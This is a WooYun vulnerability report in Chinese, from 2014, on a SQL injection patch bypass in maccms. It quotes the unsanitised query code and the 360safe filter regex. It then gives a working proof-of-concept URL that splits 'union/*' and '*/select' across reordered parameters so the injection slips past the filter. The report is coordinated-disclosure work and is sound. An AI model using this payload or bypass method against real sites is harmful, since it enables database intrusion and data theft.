漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-083243
漏洞标题:maccms 最新版sql注入补丁绕过
相关厂商:maccms.com
漏洞作者: 路人甲
提交时间:2014-11-17 10:07
修复时间:2015-02-15 10:08
公开时间:2015-02-15 10:08
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-11-17: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-15: 细节向公众公开
简要描述:
RT
详细说明:
这个漏洞以前menmen519大神提交过 ,但是之前用的可能是时间盲注,官方给出的答案是新版本已经修复。这次就用union select读取数据 (别再说漏洞重复了,乌云的各位审查大神们!!!)
首先在index.php页面中,
这里先是将get参数m的值根据指定的格式进行分割。这里get参数已经做了转义操作。
然后再将参数保存到$tpl->P中,其中当key不在$colnum中时,value就进行url解码操作。
再看文件:inc/module/art.php
在这里
$tpl->P["where"] = $tpl->P["where"] . " AND a_letter='" .$tpl->P["letter"] ."' ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_name,'".$tpl->P['wd']."')>0 ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_enname,'".$tpl->P['pinyin']."')>0 ";
$tpl->P["where"] = $tpl->P["where"] . " AND instr(a_tag,'".$tpl->P['tag']."')>0 ";
这些参数都不属于之前的colnum数组,而且这些值都没有进行过滤操作,直接被带入到了sql语句中,导致sql注入。 但是官方更新了360safe文件
</code>
$getfilter = "\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark*?(.*)|sleep*?(.*)|load_file*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|+?[\w]+?\s+?\bin\b\s*?(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT(\(.+\)|\s+?.+?)|UPDATE(\(.+\)|\s+?.+?)SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)(\(.+\)|\s+?.+?\s+?)FROM(\(.+\)|\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|UNION([]*?)SELECT";
</code>
这里面官方增加了一个UNION([]*?)SELECT 的检测,过滤掉了之前的union select/**/绕过方式。
但我们仍然有方法bypass 首先360safe的值实际上是get参数中的m值。
而我们用的是$tpl中的值。
m值得格式是: module-method-key1-value1-key2-value2-key3-value3
但是key的顺序不会影响到$tpl->p中的值,也就是不会影响到最终的where条件。
也就是module-method-key2-value2-key1-value1-key3-value3
这个是不影响最终的结果的,利用这个方法 我们就可以绕过360safe了
我们使用letter和wd作为注入点,让letter含有union/* ,让wd含有*/select, 这样组合起来就是 union /*.....*/select。 但在m的排序方面 让wd放在前面,letter放在后面。 m=art-search-wd-*/select 999%23-letter-' union/*
这样m值就绕过了360safe。
where值就是 ' union/*.....*/select 999# poc:/maccms/index.php?m=art-search-wd-%252a%252fselect%2520user() order by 1 desc%2523-letter-%2527%2520union%252f%252a
漏洞证明:
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-11-17 10:30
厂商回复:
稍后进行修复
最新状态:
暂无